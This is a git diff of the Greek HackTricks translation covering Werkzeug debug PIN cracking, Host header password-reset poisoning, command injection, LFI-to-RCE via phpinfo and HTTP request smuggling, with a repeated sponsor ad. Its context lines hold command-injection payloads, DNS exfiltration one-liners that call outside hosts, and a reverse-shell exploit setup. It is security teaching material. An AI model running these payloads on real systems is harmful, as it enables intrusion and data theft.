 You can find the PIN printed out on the standard output of your
 shell that runs the server
 ```
-Ένα μήνυμα σχετικά με το σενάριο "κλειδωμένη κονσόλα" συναντάται όταν προσπαθείτε να αποκτήσετε πρόσβαση στη διεπαφή αποσφαλμάτωσης του Werkzeug, υποδεικνύοντας την απαίτηση για έναν κωδικό PIN για να ξεκλειδώσετε την κονσόλα. Προτείνεται να εκμεταλλευτείτε τον κωδικό PIN της κονσόλας αναλύοντας τον αλγόριθμο δημιουργίας PIN στο αρχείο αρχικοποίησης αποσφαλμάτωσης του Werkzeug (`__init__.py`). Μηχανισμός δημιουργίας PIN μπορεί να μελετηθεί από το [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), αν και συνιστάται να αποκτήσετε τον πραγματικό κωδικό του διακομιστή μέσω μιας ευπάθειας διαδρομής αρχείου λόγω πιθανών διαφορών εκδόσεων.
+Ένα μήνυμα σχετικά με το σενάριο "κλειδωμένη κονσόλα" συναντάται όταν προσπαθείτε να αποκτήσετε πρόσβαση στη διεπαφή αποσφαλμάτωσης του Werkzeug, υποδεικνύοντας την απαίτηση για έναν κωδικό PIN για να ξεκλειδώσετε την κονσόλα. Προτείνεται να εκμεταλλευτείτε τον κωδικό PIN της κονσόλας αναλύοντας τον αλγόριθμο δημιουργίας PIN στο αρχείο αρχικοποίησης αποσφαλμάτωσης του Werkzeug (`__init__.py`). Μηχανισμός δημιουργίας PIN μπορεί να μελετηθεί από το [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), αν και συνιστάται να αποκτήσετε τον πραγματικό κωδικό του διακομιστή μέσω μιας ευπάθειας διαδρομής αρχείου λόγω πιθανών διαφορών έκδοσης.

 Για να εκμεταλλευτείτε τον κωδικό PIN της κονσόλας, απαιτούνται δύο σύνολα μεταβλητών, `probably_public_bits` και `private_bits`:

@ -159,7 +159,7 @@ rv = num

 print(rv)
 ```
-Αυτό το σενάριο παράγει το PIN με την κατακερματισμένη σύνθεση των bits, προσθέτοντας συγκεκριμένα αλάτια (`cookiesalt` και `pinsalt`), και μορφοποιώντας την έξοδο. Είναι σημαντικό να σημειωθεί ότι οι πραγματικές τιμές για `probably_public_bits` και `private_bits` πρέπει να αποκτηθούν με ακρίβεια από το στοχοθετημένο σύστημα για να διασφαλιστεί ότι το παραγόμενο PIN ταιριάζει με αυτό που αναμένεται από την κονσόλα Werkzeug.
+Αυτό το σενάριο παράγει το PIN με την κατακερματισμένη σύνθεση των bits, προσθέτοντας συγκεκριμένα αλάτια (`cookiesalt` και `pinsalt`), και μορφοποιώντας την έξοδο. Είναι σημαντικό να σημειωθεί ότι οι πραγματικές τιμές για `probably_public_bits` και `private_bits` πρέπει να αποκτηθούν με ακρίβεια από το σύστημα στόχο για να διασφαλιστεί ότι το παραγόμενο PIN ταιριάζει με αυτό που αναμένεται από την κονσόλα Werkzeug.

 {% hint style="success" %}
 Αν είστε σε μια **παλιά έκδοση** του Werkzeug, δοκιμάστε να αλλάξετε τον **αλγόριθμο κατακερματισμού σε md5** αντί για sha1.
@ -169,7 +169,7 @@ print(rv)

 Όπως παρατηρήθηκε σε [**αυτό το ζήτημα**](https://github.com/pallets/werkzeug/issues/2833), το Werkzeug δεν κλείνει ένα αίτημα με χαρακτήρες Unicode στις κεφαλίδες. Και όπως εξηγήθηκε σε [**αυτή τη γραφή**](https://mizu.re/post/twisty-python), αυτό μπορεί να προκαλέσει μια ευπάθεια CL.0 Request Smuggling.

-Αυτό συμβαίνει επειδή, στο Werkzeug είναι δυνατό να σταλούν ορισμένοι **Unicode** χαρακτήρες και αυτό θα προκαλέσει **σπάσιμο** του διακομιστή. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα **`Connection: keep-alive`**, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **σώμα** του αιτήματος θα θεωρηθεί ως το **επόμενο HTTP αίτημα**.
+Αυτό συμβαίνει γιατί, στο Werkzeug είναι δυνατό να σταλούν μερικοί **Unicode** χαρακτήρες και αυτό θα προκαλέσει **σπάσιμο** του διακομιστή. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα **`Connection: keep-alive`**, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **σώμα** του αιτήματος θα θεωρηθεί ως το **επόμενο HTTP αίτημα**.

 ## Αυτοματοποιημένη Εκμετάλλευση

@ -184,9 +184,9 @@ print(rv)

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε μια προοπτική χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια, και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/other-web-tricks.md
+++ b/other-web-tricks.md
@ -17,30 +17,30 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud σας
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές ιστού, το δίκτυο και το cloud σας**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

 ### Header Host

-Πολλές φορές το back-end εμπιστεύεται το **Host header** για να εκτελέσει ορισμένες ενέργειες. Για παράδειγμα, μπορεί να χρησιμοποιήσει την τιμή του ως **domain για να στείλει μια επαναφορά κωδικού πρόσβασης**. Έτσι, όταν λάβετε ένα email με έναν σύνδεσμο για να επαναφέρετε τον κωδικό σας, το domain που χρησιμοποιείται είναι αυτό που βάλατε στο Host header. Στη συνέχεια, μπορείτε να ζητήσετε την επαναφορά κωδικού πρόσβασης άλλων χρηστών και να αλλάξετε το domain σε ένα που ελέγχετε για να κλέψετε τους κωδικούς επαναφοράς τους. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
+Πολλές φορές το back-end εμπιστεύεται το **Header Host** για να εκτελέσει ορισμένες ενέργειες. Για παράδειγμα, μπορεί να χρησιμοποιήσει την τιμή του ως **domain για να στείλει μια επαναφορά κωδικού πρόσβασης**. Έτσι, όταν λάβετε ένα email με έναν σύνδεσμο για να επαναφέρετε τον κωδικό σας, το domain που χρησιμοποιείται είναι αυτό που βάλατε στο Header Host. Στη συνέχεια, μπορείτε να ζητήσετε την επαναφορά κωδικού πρόσβασης άλλων χρηστών και να αλλάξετε το domain σε ένα που ελέγχετε εσείς για να κλέψετε τους κωδικούς επαναφοράς τους. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).

 {% hint style="warning" %}
-Σημειώστε ότι είναι πιθανό να μην χρειαστεί καν να περιμένετε τον χρήστη να κάνει κλικ στον σύνδεσμο επαναφοράς κωδικού πρόσβασης για να αποκτήσετε το token, καθώς ίσως ακόμη και **τα φίλτρα spam ή άλλες ενδιάμεσες συσκευές/bots θα κάνουν κλικ σε αυτό για να το αναλύσουν**.
+Σημειώστε ότι είναι πιθανό να μην χρειαστεί καν να περιμένετε τον χρήστη να κάνει κλικ στον σύνδεσμο επαναφοράς κωδικού για να αποκτήσετε το token, καθώς ίσως ακόμη και **τα φίλτρα spam ή άλλες ενδιάμεσες συσκευές/bots να κάνουν κλικ σε αυτό για να το αναλύσουν**.
 {% endhint %}

 ### Boolean συνεδρίας

-Ορισμένες φορές όταν ολοκληρώνετε σωστά κάποια επαλήθευση, το back-end θα **προσθέσει απλώς ένα boolean με την τιμή "True" σε ένα χαρακτηριστικό ασφαλείας της συνεδρίας σας**. Στη συνέχεια, ένα διαφορετικό endpoint θα γνωρίζει αν περάσατε επιτυχώς αυτή την έλεγχο.\
-Ωστόσο, αν **περάσετε την έλεγχο** και η συνεδρία σας αποκτήσει αυτή την τιμή "True" στο χαρακτηριστικό ασφαλείας, μπορείτε να προσπαθήσετε να **πρόσβαση σε άλλους πόρους** που **εξαρτώνται από το ίδιο χαρακτηριστικό** αλλά που **δεν θα έπρεπε να έχετε δικαιώματα** για πρόσβαση. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
+Ορισμένες φορές, όταν ολοκληρώνετε σωστά κάποια επαλήθευση, το back-end θα **προσθέσει απλώς ένα boolean με την τιμή "True" σε ένα χαρακτηριστικό ασφάλειας της συνεδρίας σας**. Στη συνέχεια, ένα διαφορετικό endpoint θα γνωρίζει αν περάσατε επιτυχώς αυτή την επαλήθευση.\
+Ωστόσο, αν **περάσετε την επαλήθευση** και η συνεδρία σας αποκτήσει αυτή την τιμή "True" στο χαρακτηριστικό ασφάλειας, μπορείτε να προσπαθήσετε να **πρόσβαση σε άλλους πόρους** που **εξαρτώνται από το ίδιο χαρακτηριστικό** αλλά που **δεν θα έπρεπε να έχετε άδειες** για πρόσβαση. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).

 ### Λειτουργία εγγραφής

 Δοκιμάστε να εγγραφείτε ως ήδη υπάρχων χρήστης. Δοκιμάστε επίσης να χρησιμοποιήσετε ισοδύναμους χαρακτήρες (τελείες, πολλές κενές θέσεις και Unicode).

-### Κατάληψη email
+### Κατάληψη emails

 Εγγραφείτε σε ένα email, πριν το επιβεβαιώσετε αλλάξτε το email, στη συνέχεια, αν το νέο email επιβεβαίωσης σταλεί στο πρώτο εγγεγραμμένο email, μπορείτε να καταλάβετε οποιοδήποτε email. Ή αν μπορείτε να ενεργοποιήσετε το δεύτερο email επιβεβαιώνοντας το πρώτο, μπορείτε επίσης να καταλάβετε οποιονδήποτε λογαριασμό.

@ -57,9 +57,9 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud σας
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές ιστού, το δίκτυο και το cloud σας**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/pentesting-web/command-injection.md
+++ b/pentesting-web/command-injection.md
@ -17,21 +17,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Get a hacker's perspective on your web apps, network, and cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
+**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

-## What is command Injection?
+## Τι είναι η εκτέλεση εντολών;

 Μια **εκτέλεση εντολών** επιτρέπει την εκτέλεση αυθαίρετων εντολών λειτουργικού συστήματος από έναν επιτιθέμενο στον διακομιστή που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών επιτρέπει συνήθως στον επιτιθέμενο να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα.

-### Context
+### Πλαίσιο

 Ανάλογα με **το πού εισάγεται η είσοδός σας**, μπορεί να χρειαστεί να **τερματίσετε το παρατιθέμενο πλαίσιο** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές.

-## Command Injection/Execution
+## Εκτέλεση εντολών/Εκτέλεση
 ```bash
 #Both Unix and Windows supported
 ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -66,7 +66,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parameters

-Ακολουθούν οι 25 κορυφαίοι παράμετροι που θα μπορούσαν να είναι ευάλωτοι σε code injection και παρόμοιες RCE ευπάθειες (από [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+Ακολουθούν οι 25 κορυφαίοι παράμετροι που θα μπορούσαν να είναι ευάλωτοι σε επιθέσεις κώδικα και παρόμοιες ευπάθειες RCE (από [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@ -120,12 +120,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
 ```
 $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
 ```
-Online tools to check for DNS based data exfiltration:
+Online εργαλεία για να ελέγξετε την εξαγωγή δεδομένων με βάση το DNS:

 * dnsbin.zhack.ca
 * pingb.in

-### Filtering bypass
+### Παράκαμψη φίλτρων

 #### Windows
 ```
@ -164,8 +164,8 @@ powershell C:**2\n??e*d.*? # notepad

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud σας**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε απαραίτητα αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
--- a/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
+++ b/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
@ -4,10 +4,10 @@

 <details>

-<summary>Υποστηρίξτε το HackTricks</summary>
+<summary>Υποστήριξη HackTricks</summary>

 * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
-* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

 </details>
@ -15,9 +15,9 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές ιστού, το δίκτυο και το cloud σας**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -32,7 +32,7 @@
 ```
 sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
 ```
-You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Έλεγχος του διπλού "%" κατά την εκμετάλλευση του χαρακτήρα null)
+You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char)

 {% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}

@ -74,9 +74,9 @@ print('[x] Something went wrong, please try again')
 ```
 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -86,7 +86,7 @@ print('[x] Something went wrong, please try again')

 <details>

-<summary>Υποστηρίξτε το HackTricks</summary>
+<summary>Υποστήριξη HackTricks</summary>

 * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
 * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
--- a/pentesting-web/http-request-smuggling/README.md
+++ b/pentesting-web/http-request-smuggling/README.md
@ -6,10 +6,10 @@

 <details>

-<summary>Υποστήριξη HackTricks</summary>
+<summary>Support HackTricks</summary>

 * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
-* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

 </details>
@ -17,16 +17,16 @@

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός hacker για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

 ## Τι είναι

-Αυτή η ευπάθεια συμβαίνει όταν μια **αποσυγχρονισμένη** κατάσταση μεταξύ των **front-end proxies** και του **back-end** server επιτρέπει σε έναν **επιτιθέμενο** να **στείλει** ένα HTTP **request** που θα ερμηνευτεί ως **ένα μόνο request** από τους **front-end** proxies (load balance/reverse-proxy) και **ως 2 requests** από τον **back-end** server.\
-Αυτό επιτρέπει σε έναν χρήστη να **τροποποιήσει το επόμενο request που φτάνει στον back-end server μετά το δικό του**.
+Αυτή η ευπάθεια συμβαίνει όταν μια **αποσυγχρονισμένη** κατάσταση μεταξύ των **proxy front-end** και του **server back-end** επιτρέπει σε έναν **επιτιθέμενο** να **στείλει** ένα HTTP **request** που θα **ερμηνευτεί** ως **ένα μόνο request** από τους **proxy front-end** (load balance/reverse-proxy) και **ως 2 requests** από τον **server back-end**.\
+Αυτό επιτρέπει σε έναν χρήστη να **τροποποιήσει το επόμενο request που φτάνει στον server back-end μετά το δικό του**.

 ### Θεωρία

@ -41,7 +41,7 @@
 **Transfer-Encoding: chunked**

 > Η κεφαλίδα Transfer-Encoding προσδιορίζει τη μορφή κωδικοποίησης που χρησιμοποιείται για την ασφαλή μεταφορά του σώματος payload στον χρήστη.\
-> Το Chunked σημαίνει ότι μεγάλα δεδομένα αποστέλλονται σε μια σειρά κομματιών.
+> Το chunked σημαίνει ότι μεγάλα δεδομένα αποστέλλονται σε μια σειρά κομματιών.

 ### Πραγματικότητα

@ -53,7 +53,7 @@
 Θυμηθείτε ότι στο HTTP **ένας χαρακτήρας νέας γραμμής αποτελείται από 2 bytes:**

 * **Content-Length**: Αυτή η κεφαλίδα χρησιμοποιεί έναν **δεκαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **σώματος** του request. Το σώμα αναμένεται να τελειώνει στον τελευταίο χαρακτήρα, **μια νέα γραμμή δεν είναι απαραίτητη στο τέλος του request**.
-* **Transfer-Encoding:** Αυτή η κεφαλίδα χρησιμοποιεί στο **σώμα** έναν **εξαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **επόμενου κομματιού**. Το **chunk** πρέπει να **τελειώνει** με μια **νέα γραμμή** αλλά αυτή η νέα γραμμή **δεν μετράται** από τον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα **κομμάτι μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές**: `0`
